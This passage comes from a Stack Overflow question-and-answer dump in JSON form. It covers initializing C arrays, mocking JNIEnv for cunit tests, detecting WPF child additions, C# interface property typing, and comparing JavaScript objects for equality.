"text": "char* array[] = \n{\n [0] = \"Hello\",\n [1] = \"World\"\n}; \n enum\n{\n ERR_OK,\n ERR_FAIL,\n ERR_MEMORY\n};\n\n#define _ITEM(x) [x] = #x\n\nchar* array[] = \n{\n _ITEM(ERR_OK),\n _ITEM(ERR_FAIL),\n _ITEM(ERR_MEMORY)\n}; \n"
},
{
"answer_id": 31689250,
"author": "Maciej",
"author_id": 4895229,
"author_profile": "https://Stackoverflow.com/users/4895229",
"pm_score": 3,
"selected": false,
"text": "1 000 000 int loop runtime 0.004248 [seconds] memfill() runtime 0.001085 [seconds] #include <stdio.h>\n#include <time.h>\n#include <string.h>\n#define ARR_SIZE 1000000\n\nvoid memfill(void *dest, size_t destsize, size_t elemsize) {\n char *nextdest = (char *) dest + elemsize;\n size_t movesize, donesize = elemsize;\n\n destsize -= elemsize;\n while (destsize) {\n movesize = (donesize < destsize) ? donesize : destsize;\n memcpy(nextdest, dest, movesize);\n nextdest += movesize; destsize -= movesize; donesize += movesize;\n }\n} \nint main() {\n clock_t timeStart;\n double runTime;\n int i, a[ARR_SIZE];\n\n timeStart = clock();\n for (i = 0; i < ARR_SIZE; i++)\n a[i] = 9; \n runTime = (double)(clock() - timeStart) / (double)CLOCKS_PER_SEC;\n printf(\"loop runtime %f [seconds]\\n\",runTime);\n\n timeStart = clock();\n a[0] = 10;\n memfill(a, sizeof(a), sizeof(a[0]));\n runTime = (double)(clock() - timeStart) / (double)CLOCKS_PER_SEC;\n printf(\"memfill() runtime %f [seconds]\\n\",runTime);\n return 0;\n}\n"
},
{
"answer_id": 35242706,
"author": "hkBattousai",
"author_id": 245376,
"author_profile": "https://Stackoverflow.com/users/245376",
"pm_score": 2,
"selected": false,
"text": "#include <iostream>\n\nvoid PrintArray(int a[3][3])\n{\n std::cout << \"a11 = \" << a[0][0] << \"\\t\\t\" << \"a12 = \" << a[0][1] << \"\\t\\t\" << \"a13 = \" << a[0][2] << std::endl;\n std::cout << \"a21 = \" << a[1][0] << \"\\t\\t\" << \"a22 = \" << a[1][1] << \"\\t\\t\" << \"a23 = \" << a[1][2] << std::endl;\n std::cout << \"a31 = \" << a[2][0] << \"\\t\\t\" << \"a32 = \" << a[2][1] << \"\\t\\t\" << \"a33 = \" << a[2][2] << std::endl;\n std::cout << std::endl;\n}\n\nint wmain(int argc, wchar_t * argv[])\n{\n int a1[3][3] = { 11, 12, 13, // The most\n 21, 22, 23, // basic\n 31, 32, 33 }; // format.\n\n int a2[][3] = { 11, 12, 13, // The first (outer) dimension\n 21, 22, 23, // may be omitted. The compiler\n 31, 32, 33 }; // will automatically deduce it.\n\n int a3[3][3] = { {11, 12, 13}, // The elements of each\n {21, 22, 23}, // second (inner) dimension\n {31, 32, 33} }; // can be grouped together.\n\n int a4[][3] = { {11, 12, 13}, // Again, the first dimension\n {21, 22, 23}, // can be omitted when the \n {31, 32, 33} }; // inner elements are grouped.\n\n PrintArray(a1);\n PrintArray(a2);\n PrintArray(a3);\n PrintArray(a4);\n\n // This part shows in which order the elements are stored in the memory.\n int * b = (int *) a1; // The output is the same for the all four arrays.\n for (int i=0; i<9; i++)\n {\n std::cout << b[i] << '\\t';\n }\n\n return 0;\n}\n a11 = 11 a12 = 12 a13 = 13\na21 = 21 a22 = 22 a23 = 23\na31 = 31 a32 = 32 a33 = 33\n\na11 = 11 a12 = 12 a13 = 13\na21 = 21 a22 = 22 a23 = 23\na31 = 31 a32 = 32 a33 = 33\n\na11 = 11 a12 = 12 a13 = 13\na21 = 21 a22 = 22 a23 = 23\na31 = 31 a32 = 32 a33 = 33\n\na11 = 11 a12 = 12 a13 = 13\na21 = 21 a22 = 22 a23 = 23\na31 = 31 a32 = 32 a33 = 33\n\n11 12 13 21 22 23 31 32 33\n"
},
{
"answer_id": 40440405,
"author": "JWDN",
"author_id": 2291702,
"author_profile": "https://Stackoverflow.com/users/2291702",
"pm_score": 2,
"selected": false,
"text": "int i,value=5,array[1000]; \nfor(i=0;i<1000;i++) array[i]=value; \n"
},
{
"answer_id": 46949376,
"author": "Dadhich Sourav",
"author_id": 8392085,
"author_profile": "https://Stackoverflow.com/users/8392085",
"pm_score": -1,
"selected": false,
"text": "#include<stdio.h>\nint main(){\nint i,a[50];\nfor (i=0;i<50;i++){\n a[i]=5;// set value 5 to all the array index\n}\nfor (i=0;i<50;i++)\nprintf(\"%d\\n\",a[i]);\n return 0;\n}\n"
},
{
"answer_id": 48490456,
"author": "Francis Cugler",
"author_id": 1757805,
"author_profile": "https://Stackoverflow.com/users/1757805",
"pm_score": 1,
"selected": false,
"text": "Tarski #include <stdio.h>\n\ntypedef const unsigned int cUINT;\ntypedef unsigned int UINT;\n\ncUINT size = 10;\ncUINT initVal = 5;\n\nvoid arrayInitializer( UINT* myArray, cUINT size, cUINT initVal );\nvoid printArray( UINT* myArray ); \n\nint main() { \n UINT myArray[size]; \n /* Not initialized during declaration but can be\n initialized using a function for the appropriate TYPE*/\n arrayInitializer( myArray, size, initVal );\n\n printArray( myArray );\n\n return 0;\n}\n\nvoid arrayInitializer( UINT* myArray, cUINT size, cUINT initVal ) {\n for ( UINT n = 0; n < size; n++ ) {\n myArray[n] = initVal;\n }\n}\n\nvoid printArray( UINT* myArray ) {\n printf( \"myArray = { \" );\n for ( UINT n = 0; n < size; n++ ) {\n printf( \"%u\", myArray[n] );\n\n if ( n < size-1 )\n printf( \", \" );\n }\n printf( \" }\\n\" );\n}\n UINT myArray[size]; initializing function type printArray()"
},
{
"answer_id": 52897024,
"author": "Sooth",
"author_id": 1072521,
"author_profile": "https://Stackoverflow.com/users/1072521",
"pm_score": 1,
"selected": false,
"text": "int a[4];\n\nunsigned int size = sizeof(a) / sizeof(a[0]);\nfor (unsigned int i = 0; i < size; i++)\n a[i] = 0;\n"
},
{
"answer_id": 54178237,
"author": "Mike",
"author_id": 2503164,
"author_profile": "https://Stackoverflow.com/users/2503164",
"pm_score": -1,
"selected": false,
"text": "memcpy (&element [1], &element [0], sizeof (element)-sizeof (element [0]);"
},
{
"answer_id": 54666996,
"author": "Clemens Sielaff",
"author_id": 3444217,
"author_profile": "https://Stackoverflow.com/users/3444217",
"pm_score": 3,
"selected": false,
"text": "std::index_sequence constexpr #include <array>\n\n/// [3]\n/// This functions's only purpose is to ignore the index given as the second\n/// template argument and to always produce the value passed in.\ntemplate<class T, size_t /*ignored*/>\nconstexpr T identity_func(const T& value) {\n return value;\n}\n\n/// [2]\n/// At this point, we have a list of indices that we can unfold\n/// into an initializer list using the `identity_func` above.\ntemplate<class T, size_t... Indices>\nconstexpr std::array<T, sizeof...(Indices)>\nmake_array_of_impl(const T& value, std::index_sequence<Indices...>) {\n return {identity_func<T, Indices>(value)...};\n}\n\n/// [1]\n/// This is the user-facing function.\n/// The template arguments are swapped compared to the order used\n/// for std::array, this way we can let the compiler infer the type\n/// from the given value but still define it explicitly if we want to.\ntemplate<size_t Size, class T>\nconstexpr std::array<T, Size> \nmake_array_of(const T& value) {\n using Indices = std::make_index_sequence<Size>;\n return make_array_of_impl(value, Indices{});\n}\n\n// std::array<int, 4>{42, 42, 42, 42}\nconstexpr auto test_array = make_array_of<4/*, int*/>(42);\nstatic_assert(test_array[0] == 42);\nstatic_assert(test_array[1] == 42);\nstatic_assert(test_array[2] == 42);\nstatic_assert(test_array[3] == 42);\n// static_assert(test_array[4] == 42); out of bounds\n"
},
{
"answer_id": 63789636,
"author": "ferdymercury",
"author_id": 7471760,
"author_profile": "https://Stackoverflow.com/users/7471760",
"pm_score": 1,
"selected": false,
"text": "#include <boost/preprocessor/repetition/enum.hpp>\n#define C_ARRAY_ELEMENT(z, index, name) name[index]\n#define C_ARRAY_EXPAND(name,size) BOOST_PP_ENUM(size,C_ARRAY_ELEMENT,name)\n#define C_ARRAY_VALUE(z, index, value) value\n#define C_ARRAY_INITIALIZE(value,size) BOOST_PP_ENUM(size,C_ARRAY_VALUE,value)\n"
},
{
"answer_id": 65652599,
"author": "Ratan Raj",
"author_id": 13641586,
"author_profile": "https://Stackoverflow.com/users/13641586",
"pm_score": 2,
"selected": false,
"text": "int array[1024] = {[0 ... 1023] = 5};\n ..."
},
{
"answer_id": 67972905,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 0,
"selected": false,
"text": "int a[5] = {3,3,3,3,3}; \n int a[100] = {0};\n int a[10] = {1}; \n int a[100];\n int a[1000] = {0};\n"
},
{
"answer_id": 68632220,
"author": "Ruthvik Chandra Vanam",
"author_id": 13134460,
"author_profile": "https://Stackoverflow.com/users/13134460",
"pm_score": 1,
"selected": false,
"text": " char arr[1000] = { 0 };\n char arr[1000];\n for(int i=0; i<arr.size(); i++){\n arr[i] = 'A';\n }\n"
},
{
"answer_id": 69582236,
"author": "Pavel Vazharov",
"author_id": 4644485,
"author_profile": "https://Stackoverflow.com/users/4644485",
"pm_score": 0,
"selected": false,
"text": "template <size_t Cnt, typename T> \nstd::array<T, Cnt> make_array_of(const T& v) \n{ \n return []<size_t... Idx>(std::index_sequence<Idx...>, const auto& v) \n { \n auto identity = [](const auto& v, size_t) { return v; }; \n return std::array{identity(v, Idx)...}; \n } \n (std::make_index_sequence<Cnt>{}, v); \n}\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/201101",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/17693/"
] |
201,141
|
<p>I am writing some JNI code in C that I wish to test using cunit. In order to call the JNI functions, I need to create a valid JNIEnv struct.</p>
<p>Does anyone know if there is a mocking framework for such a purpose, or who can give me some pointers on how to create a mock JNIEnv struct myself?</p>
|
[
{
"answer_id": 203250,
"author": "Adam Mitz",
"author_id": 2574,
"author_profile": "https://Stackoverflow.com/users/2574",
"pm_score": 3,
"selected": true,
"text": "#include \"jni.h\"\n#include <iostream>\n\njint JNICALL MockGetVersion(JNIEnv *)\n{\n return 23;\n}\n\nJNINativeInterface_ jnini = {\n 0, 0, 0, 0, //4 reserved pointers\n MockGetVersion\n};\n\n// class Foo { public static native void bar(); }\nvoid Java_Foo_bar(JNIEnv* jni, jclass)\n{\n std::cout << jni->GetVersion() << std::endl;\n}\n\nint main()\n{\n JNIEnv_ myjni = {&jnini};\n Java_Foo_bar(&myjni, 0);\n return 0;\n}\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/201141",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/7122/"
] |
201,170
|
<p>I am currently looking for a way to be notified when a child is added to the visual or logical children.</p>
<p>I am aware of the Visual::OnVisualChildrenChanged method, but it does not apply to me since I can't always inherit and override this function. I am looking for an event.</p>
<p>So, is there a way for the owner of a FrameworkElement/Visual to be notified when a child is added?</p>
|
[
{
"answer_id": 1114901,
"author": "Kenan E. K.",
"author_id": 133143,
"author_profile": "https://Stackoverflow.com/users/133143",
"pm_score": 1,
"selected": false,
"text": "public class ElementChildrenChangedEventArgs\n{\n public ElementChildrenChangedEventArgs(FrameworkElement parent, FrameworkElement child)\n {\n Parent = parent;\n Child = child;\n }\n\n public FrameworkElement Parent { get; private set;}\n public FrameworkElement Child { get; private set;}\n}\n\npublic delegate void ChildrenChanged(ElementChildrenChangedEventArgs args);\n\npublic static class ElementLoadedManager\n{\n private static readonly HashSet<FrameworkElement> elements = new HashSet<FrameworkElement>();\n\n public static void Process_Loaded(FrameworkElement fe)\n {\n FrameworkElement feParent = VisualTreeHelper.GetParent(fe) as FrameworkElement;\n\n if (feParent != null)\n {\n if (elements.Contains(feParent))\n {\n InvokeChildrenChanged(feParent, fe);\n }\n }\n\n if (!elements.Contains(fe))\n {\n elements.Add(fe);\n }\n\n fe.Unloaded += Element_Unloaded; \n }\n\n static void Element_Unloaded(object sender, RoutedEventArgs e)\n {\n FrameworkElement fe = sender as FrameworkElement;\n elements.Remove(fe);\n ClearUnloaded(fe);\n }\n\n static void ClearUnloaded(FrameworkElement fe)\n {\n fe.Unloaded -= Element_Unloaded;\n }\n\n public static event ChildrenChanged ChildrenChanged;\n\n private static void InvokeChildrenChanged(FrameworkElement parent, FrameworkElement child)\n {\n ElementChildrenChangedEventArgs args = new ElementChildrenChangedEventArgs(parent, child);\n\n ChildrenChanged changed = ChildrenChanged;\n\n if (changed != null) changed(args);\n }\n}\n"
},
{
"answer_id": 7823297,
"author": "Bram",
"author_id": 983172,
"author_profile": "https://Stackoverflow.com/users/983172",
"pm_score": 2,
"selected": false,
"text": "System.Windows.Controls.UIElementCollection \n protected override UIElementCollection CreateUIElementCollection(FrameworkElement logicalParent)\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/201170",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/12082/"
] |
201,178
|
<p>I feel like a fool, but here goes:</p>
<pre><code>public interface IHasErrorController{
ErrorController ErrorController { get; set; }
}
public class DSErrorController: ErrorController{yadi yadi ya}
public class DSWebsiteController : Controller, IHasErrorController{
public DSErrorController ErrorController { get; set; }
}
</code></pre>
<p>This gives me an error saying DSWebsiteController.ErrorController cannot implement IHasErrorController despite DSErrorController being inheritted from ErrorController.</p>
<p>Also, suggestions for a better naming so that the type ErrorController and the field Errorcontroller don't look the same are welcome (naming is hard).</p>
|
[
{
"answer_id": 201192,
"author": "Marc Gravell",
"author_id": 23354,
"author_profile": "https://Stackoverflow.com/users/23354",
"pm_score": 4,
"selected": true,
"text": "ErrorController IHasErrorControlloer.ErrorController {\n get {return this.ErrorController;}\n set {this.ErrorController = (DSErrorController)value;}\n}\n ErrorController"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/201178",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/11333/"
] |
201,183
|
<p>A strict equality operator will tell you if two object <strong>types</strong> are equal. However, is there a way to tell if two objects are equal, <strong>much like the hash code</strong> value in Java?</p>
<p>Stack Overflow question <em><a href="https://stackoverflow.com/questions/194846">Is there any kind of hashCode function in JavaScript?</a></em> is similar to this question, but requires a more academic answer. The scenario above demonstrates why it would be necessary to have one, and I'm wondering if there is any <strong>equivalent solution</strong>.</p>
|
[
{
"answer_id": 201265,
"author": "nickf",
"author_id": 9021,
"author_profile": "https://Stackoverflow.com/users/9021",
"pm_score": 5,
"selected": false,
"text": "var a = { foo : \"bar\" };\nvar b = { foo : \"bar\" };\nalert (a == b ? \"Equal\" : \"Not equal\");\n// \"Not equal\"\n function objectEquals(obj1, obj2) {\n for (var i in obj1) {\n if (obj1.hasOwnProperty(i)) {\n if (!obj2.hasOwnProperty(i)) return false;\n if (obj1[i] != obj2[i]) return false;\n }\n }\n for (var i in obj2) {\n if (obj2.hasOwnProperty(i)) {\n if (!obj1.hasOwnProperty(i)) return false;\n if (obj1[i] != obj2[i]) return false;\n }\n }\n return true;\n}\n var a = { foo : { fu : \"bar\" } } MyClass.equals()"
},
{
"answer_id": 201305,
"author": "Joel Anair",
"author_id": 7441,
"author_profile": "https://Stackoverflow.com/users/7441",
"pm_score": 6,
"selected": false,
"text": "var obj1={test:\"value\"};\nvar obj2={test:\"value2\"};\n\nalert(JSON.encode(obj1)===JSON.encode(obj2));\n"
},
{
"answer_id": 201471,
"author": "AnthonyWJones",
"author_id": 17516,
"author_profile": "https://Stackoverflow.com/users/17516",
"pm_score": 9,
"selected": true,
"text": "Equals function MyClass(a, b)\n {\n var c;\n this.getCLazy = function() {\n if (c === undefined) c = a * b // imagine * is really expensive\n return c;\n }\n }\n c a b c"
},
{
"answer_id": 886053,
"author": "Daniel X Moore",
"author_id": 68210,
"author_profile": "https://Stackoverflow.com/users/68210",
"pm_score": 8,
"selected": false,
"text": "var x = {};\nvar y = {};\nvar z = x;\n\nx === y; // => false\nx === z; // => true\n equals(other) function Card(rank, suit) {\n this.rank = rank;\n this.suit = suit;\n this.equals = function(other) {\n return other.rank == this.rank && other.suit == this.suit;\n };\n}\n\nvar queenOfClubs = new Card(12, \"C\");\nvar kingOfSpades = new Card(13, \"S\");\n\nqueenOfClubs.equals(kingOfSpades); // => false\nkingOfSpades.equals(new Card(13, \"S\")); // => true\n"
},
{
"answer_id": 2049359,
"author": "Bernd Jendrissek",
"author_id": 117911,
"author_profile": "https://Stackoverflow.com/users/117911",
"pm_score": -1,
"selected": false,
"text": "function PostRequest() {\n for (var i = 0; i < arguments.length; i += 2) {\n this[arguments[i]] = arguments[i+1];\n }\n\n var compare = function(u, v) {\n if (typeof(u) != typeof(v)) {\n return false;\n }\n\n var allkeys = {};\n for (var i in u) {\n allkeys[i] = 1;\n }\n for (var i in v) {\n allkeys[i] = 1;\n }\n for (var i in allkeys) {\n if (u.hasOwnProperty(i) != v.hasOwnProperty(i)) {\n if ((u.hasOwnProperty(i) && typeof(u[i]) == 'function') ||\n (v.hasOwnProperty(i) && typeof(v[i]) == 'function')) {\n continue;\n } else {\n return false;\n }\n }\n if (typeof(u[i]) != typeof(v[i])) {\n return false;\n }\n if (typeof(u[i]) == 'object') {\n if (!compare(u[i], v[i])) {\n return false;\n }\n } else {\n if (u[i] !== v[i]) {\n return false;\n }\n }\n }\n\n return true;\n };\n\n this.equals = function(o) {\n return compare(this, o);\n };\n\n return this;\n}\n foo = new PostRequest('text', 'hello', 'html', '<p>hello</p>');\nfoo.equals({ html: '<p>hello</p>', text: 'hello' });\n"
},
{
"answer_id": 2920854,
"author": "Liam",
"author_id": 474023,
"author_profile": "https://Stackoverflow.com/users/474023",
"pm_score": 2,
"selected": false,
"text": "Object.prototype.equals = function(iObj) {\n if (this.constructor !== iObj.constructor)\n return false;\n var aMemberCount = 0;\n for (var a in this) {\n if (!this.hasOwnProperty(a))\n continue;\n if (typeof this[a] === 'object' && typeof iObj[a] === 'object' ? !this[a].equals(iObj[a]) : this[a] !== iObj[a])\n return false;\n ++aMemberCount;\n }\n for (var a in iObj)\n if (iObj.hasOwnProperty(a))\n --aMemberCount;\n return aMemberCount ? false : true;\n}\n"
},
{
"answer_id": 3198202,
"author": "coolaj86",
"author_id": 151312,
"author_profile": "https://Stackoverflow.com/users/151312",
"pm_score": 9,
"selected": false,
"text": "_.isEqual(object, other);\n"
},
{
"answer_id": 3592198,
"author": "mckoss",
"author_id": 178521,
"author_profile": "https://Stackoverflow.com/users/178521",
"pm_score": 2,
"selected": false,
"text": "var a = {p1: 1};\nvar b = {p1: 1, p2: undefined};\n var c = [1, 2];\nvar d = [1, 2, undefined];\n function isEqual(a, b) {\n if (a === b) {\n return true;\n }\n\n if (generalType(a) != generalType(b)) {\n return false;\n }\n\n if (a == b) {\n return true;\n }\n\n if (typeof a != 'object') {\n return false;\n }\n\n // null != {}\n if (a instanceof Object != b instanceof Object) {\n return false;\n }\n\n if (a instanceof Date || b instanceof Date) {\n if (a instanceof Date != b instanceof Date ||\n a.getTime() != b.getTime()) {\n return false;\n }\n }\n\n var allKeys = [].concat(keys(a), keys(b));\n uniqueArray(allKeys);\n\n for (var i = 0; i < allKeys.length; i++) {\n var prop = allKeys[i];\n if (!isEqual(a[prop], b[prop])) {\n return false;\n }\n }\n return true;\n}\n"
},
{
"answer_id": 11039915,
"author": "Ates Goral",
"author_id": 23501,
"author_profile": "https://Stackoverflow.com/users/23501",
"pm_score": 5,
"selected": false,
"text": "JSON.stringify function equals(obj1, obj2) {\n function _equals(obj1, obj2) {\n return JSON.stringify(obj1)\n === JSON.stringify($.extend(true, {}, obj1, obj2));\n }\n return _equals(obj1, obj2) && _equals(obj2, obj1);\n}\n obj1 obj2 obj1"
},
{
"answer_id": 12119320,
"author": "Golo Roden",
"author_id": 1333873,
"author_profile": "https://Stackoverflow.com/users/1333873",
"pm_score": -1,
"selected": false,
"text": "cmp.eq(obj1, obj2);\n cmp.id(obj1, obj2);\n"
},
{
"answer_id": 16097842,
"author": "Soyoes",
"author_id": 1423539,
"author_profile": "https://Stackoverflow.com/users/1423539",
"pm_score": -1,
"selected": false,
"text": "function isEqual(obj1, obj2){\n type1 = typeof(obj1);\n type2 = typeof(obj2);\n if(type1===type2){\n switch (type1){\n case \"object\": return JSON.stringify(obj1)===JSON.stringify(obj2);\n case \"function\": return eval(obj1).toString()===eval(obj2).toString();\n default: return obj1==obj2;\n }\n }\n return false;\n}//have not tried but should work.\n"
},
{
"answer_id": 16788517,
"author": "Ebrahim Byagowi",
"author_id": 1414809,
"author_profile": "https://Stackoverflow.com/users/1414809",
"pm_score": 6,
"selected": false,
"text": "function objectEquals(x, y) {\n 'use strict';\n\n if (x === null || x === undefined || y === null || y === undefined) { return x === y; }\n // after this just checking type of one would be enough\n if (x.constructor !== y.constructor) { return false; }\n // if they are functions, they should exactly refer to same one (because of closures)\n if (x instanceof Function) { return x === y; }\n // if they are regexps, they should exactly refer to same one (it is hard to better equality check on current ES)\n if (x instanceof RegExp) { return x === y; }\n if (x === y || x.valueOf() === y.valueOf()) { return true; }\n if (Array.isArray(x) && x.length !== y.length) { return false; }\n\n // if they are dates, they must had equal valueOf\n if (x instanceof Date) { return false; }\n\n // if they are strictly equal, they both need to be object at least\n if (!(x instanceof Object)) { return false; }\n if (!(y instanceof Object)) { return false; }\n\n // recursive object equality check\n var p = Object.keys(x);\n return Object.keys(y).every(function (i) { return p.indexOf(i) !== -1; }) &&\n p.every(function (i) { return objectEquals(x[i], y[i]); });\n}\n\n\n///////////////////////////////////////////////////////////////\n/// The borrowed tests, run them by clicking \"Run code snippet\"\n///////////////////////////////////////////////////////////////\nvar printResult = function (x) {\n if (x) { document.write('<div style=\"color: green;\">Passed</div>'); }\n else { document.write('<div style=\"color: red;\">Failed</div>'); }\n};\nvar assert = { isTrue: function (x) { printResult(x); }, isFalse: function (x) { printResult(!x); } }\nassert.isTrue(objectEquals(null,null));\nassert.isFalse(objectEquals(null,undefined));\nassert.isFalse(objectEquals(/abc/, /abc/));\nassert.isFalse(objectEquals(/abc/, /123/));\nvar r = /abc/;\nassert.isTrue(objectEquals(r, r));\n\nassert.isTrue(objectEquals(\"hi\",\"hi\"));\nassert.isTrue(objectEquals(5,5));\nassert.isFalse(objectEquals(5,10));\n\nassert.isTrue(objectEquals([],[]));\nassert.isTrue(objectEquals([1,2],[1,2]));\nassert.isFalse(objectEquals([1,2],[2,1]));\nassert.isFalse(objectEquals([1,2],[1,2,3]));\n\nassert.isTrue(objectEquals({},{}));\nassert.isTrue(objectEquals({a:1,b:2},{a:1,b:2}));\nassert.isTrue(objectEquals({a:1,b:2},{b:2,a:1}));\nassert.isFalse(objectEquals({a:1,b:2},{a:1,b:3}));\n\nassert.isTrue(objectEquals({1:{name:\"mhc\",age:28}, 2:{name:\"arb\",age:26}},{1:{name:\"mhc\",age:28}, 2:{name:\"arb\",age:26}}));\nassert.isFalse(objectEquals({1:{name:\"mhc\",age:28}, 2:{name:\"arb\",age:26}},{1:{name:\"mhc\",age:28}, 2:{name:\"arb\",age:27}}));\n\nObject.prototype.equals = function (obj) { return objectEquals(this, obj); };\nvar assertFalse = assert.isFalse,\n assertTrue = assert.isTrue;\n\nassertFalse({}.equals(null));\nassertFalse({}.equals(undefined));\n\nassertTrue(\"hi\".equals(\"hi\"));\nassertTrue(new Number(5).equals(5));\nassertFalse(new Number(5).equals(10));\nassertFalse(new Number(1).equals(\"1\"));\n\nassertTrue([].equals([]));\nassertTrue([1,2].equals([1,2]));\nassertFalse([1,2].equals([2,1]));\nassertFalse([1,2].equals([1,2,3]));\nassertTrue(new Date(\"2011-03-31\").equals(new Date(\"2011-03-31\")));\nassertFalse(new Date(\"2011-03-31\").equals(new Date(\"1970-01-01\")));\n\nassertTrue({}.equals({}));\nassertTrue({a:1,b:2}.equals({a:1,b:2}));\nassertTrue({a:1,b:2}.equals({b:2,a:1}));\nassertFalse({a:1,b:2}.equals({a:1,b:3}));\n\nassertTrue({1:{name:\"mhc\",age:28}, 2:{name:\"arb\",age:26}}.equals({1:{name:\"mhc\",age:28}, 2:{name:\"arb\",age:26}}));\nassertFalse({1:{name:\"mhc\",age:28}, 2:{name:\"arb\",age:26}}.equals({1:{name:\"mhc\",age:28}, 2:{name:\"arb\",age:27}}));\n\nvar a = {a: 'text', b:[0,1]};\nvar b = {a: 'text', b:[0,1]};\nvar c = {a: 'text', b: 0};\nvar d = {a: 'text', b: false};\nvar e = {a: 'text', b:[1,0]};\nvar i = {\n a: 'text',\n c: {\n b: [1, 0]\n }\n};\nvar j = {\n a: 'text',\n c: {\n b: [1, 0]\n }\n};\nvar k = {a: 'text', b: null};\nvar l = {a: 'text', b: undefined};\n\nassertTrue(a.equals(b));\nassertFalse(a.equals(c));\nassertFalse(c.equals(d));\nassertFalse(a.equals(e));\nassertTrue(i.equals(j));\nassertFalse(d.equals(k));\nassertFalse(k.equals(l));\n\n// from comments on stackoverflow post\nassert.isFalse(objectEquals([1, 2, undefined], [1, 2]));\nassert.isFalse(objectEquals([1, 2, 3], { 0: 1, 1: 2, 2: 3 }));\nassert.isFalse(objectEquals(new Date(1234), 1234));\n\n// no two different function is equal really, they capture their context variables\n// so even if they have same toString(), they won't have same functionality\nvar func = function (x) { return true; };\nvar func2 = function (x) { return true; };\nassert.isTrue(objectEquals(func, func));\nassert.isFalse(objectEquals(func, func2));\nassert.isTrue(objectEquals({ a: { b: func } }, { a: { b: func } }));\nassert.isFalse(objectEquals({ a: { b: func } }, { a: { b: func2 } }));"
},
{
"answer_id": 16795863,
"author": "Luke",
"author_id": 799858,
"author_profile": "https://Stackoverflow.com/users/799858",
"pm_score": -1,
"selected": false,
"text": "Object::equals = (other) ->\n typeOf = Object::toString\n\n return false if typeOf.call(this) isnt typeOf.call(other)\n return `this == other` unless typeOf.call(other) is '[object Object]' or\n typeOf.call(other) is '[object Array]'\n\n (return false unless this[key].equals other[key]) for key, value of this\n (return false if typeof this[key] is 'undefined') for key of other\n\n true\n describe \"equals\", ->\n\n it \"should consider two numbers to be equal\", ->\n assert 5.equals(5)\n\n it \"should consider two empty objects to be equal\", ->\n assert {}.equals({})\n\n it \"should consider two objects with one key to be equal\", ->\n assert {a: \"banana\"}.equals {a: \"banana\"}\n\n it \"should consider two objects with keys in different orders to be equal\", ->\n assert {a: \"banana\", kendall: \"garrus\"}.equals {kendall: \"garrus\", a: \"banana\"}\n\n it \"should consider two objects with nested objects to be equal\", ->\n assert {a: {fruit: \"banana\"}}.equals {a: {fruit: \"banana\"}}\n\n it \"should consider two objects with nested objects that are jumbled to be equal\", ->\n assert {a: {a: \"banana\", kendall: \"garrus\"}}.equals {a: {kendall: \"garrus\", a: \"banana\"}}\n\n it \"should consider two objects with arrays as values to be equal\", ->\n assert {a: [\"apple\", \"banana\"]}.equals {a: [\"apple\", \"banana\"]}\n\n\n\n it \"should not consider an object to be equal to null\", ->\n assert !({a: \"banana\"}.equals null)\n\n it \"should not consider two objects with different keys to be equal\", ->\n assert !({a: \"banana\"}.equals {})\n\n it \"should not consider two objects with different values to be equal\", ->\n assert !({a: \"banana\"}.equals {a: \"grapefruit\"})\n"
},
{
"answer_id": 17260942,
"author": "stamat",
"author_id": 1909864,
"author_profile": "https://Stackoverflow.com/users/1909864",
"pm_score": -1,
"selected": false,
"text": "//Returns the object's class, Array, Date, RegExp, Object are of interest to us\nvar getClass = function(val) {\n return Object.prototype.toString.call(val)\n .match(/^\\[object\\s(.*)\\]$/)[1];\n};\n\n//Defines the type of the value, extended typeof\nvar whatis = function(val) {\n\n if (val === undefined)\n return 'undefined';\n if (val === null)\n return 'null';\n\n var type = typeof val;\n\n if (type === 'object')\n type = getClass(val).toLowerCase();\n\n if (type === 'number') {\n if (val.toString().indexOf('.') > 0)\n return 'float';\n else\n return 'integer';\n }\n\n return type;\n };\n\nvar compareObjects = function(a, b) {\n if (a === b)\n return true;\n for (var i in a) {\n if (b.hasOwnProperty(i)) {\n if (!equal(a[i],b[i])) return false;\n } else {\n return false;\n }\n }\n\n for (var i in b) {\n if (!a.hasOwnProperty(i)) {\n return false;\n }\n }\n return true;\n};\n\nvar compareArrays = function(a, b) {\n if (a === b)\n return true;\n if (a.length !== b.length)\n return false;\n for (var i = 0; i < a.length; i++){\n if(!equal(a[i], b[i])) return false;\n };\n return true;\n};\n\nvar _equal = {};\n_equal.array = compareArrays;\n_equal.object = compareObjects;\n_equal.date = function(a, b) {\n return a.getTime() === b.getTime();\n};\n_equal.regexp = function(a, b) {\n return a.toString() === b.toString();\n};\n// uncoment to support function as string compare\n// _equal.fucntion = _equal.regexp;\n\n\n\n/*\n * Are two values equal, deep compare for objects and arrays.\n * @param a {any}\n * @param b {any}\n * @return {boolean} Are equal?\n */\nvar equal = function(a, b) {\n if (a !== b) {\n var atype = whatis(a), btype = whatis(b);\n\n if (atype === btype)\n return _equal.hasOwnProperty(atype) ? _equal[atype](a, b) : a==b;\n\n return false;\n }\n\n return true;\n};\n"
},
{
"answer_id": 19041167,
"author": "Aldo Fregoso",
"author_id": 2569961,
"author_profile": "https://Stackoverflow.com/users/2569961",
"pm_score": 2,
"selected": false,
"text": "/**\n * Checks the equality of two objects that contain primitive values. (ie. no nested objects, functions, etc.)\n * @param {Object} object1\n * @param {Object} object2\n * @param {Boolean} [order_matters] Affects the return value of unordered objects. (ex. {a:1, b:2} and {b:2, a:1}).\n * @returns {Boolean}\n */\nfunction isEqual( object1, object2, order_matters ) {\n var keys1 = Object.keys(object1),\n keys2 = Object.keys(object2),\n i, key;\n\n // Test 1: Same number of elements\n if( keys1.length != keys2.length ) {\n return false;\n }\n\n // If order doesn't matter isEqual({a:2, b:1}, {b:1, a:2}) should return true.\n // keys1 = Object.keys({a:2, b:1}) = [\"a\",\"b\"];\n // keys2 = Object.keys({b:1, a:2}) = [\"b\",\"a\"];\n // This is why we are sorting keys1 and keys2.\n if( !order_matters ) {\n keys1.sort();\n keys2.sort();\n }\n\n // Test 2: Same keys\n for( i = 0; i < keys1.length; i++ ) {\n if( keys1[i] != keys2[i] ) {\n return false;\n }\n 